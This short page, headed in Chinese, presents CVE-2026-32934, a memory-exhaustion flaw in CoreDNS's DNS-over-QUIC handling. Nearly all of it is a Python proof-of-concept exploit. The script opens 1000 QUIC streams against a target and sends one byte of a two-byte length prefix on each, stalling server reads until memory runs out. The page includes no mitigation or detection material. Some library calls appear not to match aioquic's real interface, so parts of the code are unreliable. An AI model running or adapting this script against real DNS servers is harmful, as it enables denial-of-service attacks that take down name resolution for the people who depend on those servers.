CVE-2026-32934: CoreDNS DoQ内存耗尽漏洞

# PoC for CVE-2026-32934 (Conceptual) # This script demonstrates the logic of the slow-attack on DoQ. # It requires a QUIC library like aioquic. import asyncio from aioquic.asyncio import connect from aioquic.quic.configuration import QuicConfiguration async def exploit_core_dns(target_host, target_port): # Configure QUIC client configuration = QuicConfiguration(is_client=True, verify_mode=False) async with connect(target_host, target_port, configuration=configuration) as connection: print(f"[+] Connected to {target_host}:{target_port}") # Open multiple streams to exhaust the worker pool for i in range(1000): # Get a new stream ID stream_id = connection.send_new_stream() # Send only 1 byte of the DoQ length prefix. # The server expects 2 bytes for the length prefix. # This causes io.ReadFull() to block indefinitely. connection.send_stream_data(stream_id, b'\x01') print(f"[+] Sent 1 byte on stream {stream_id}") # Wait to observe the impact await asyncio.sleep(10) print("[+] Attack packets sent, server should be OOM soon.") if __name__ == "__main__": target = "127.0.0.1" port = 853 try: asyncio.run(exploit_core_dns(target, port)) except Exception as e: print(f"Error: {e}")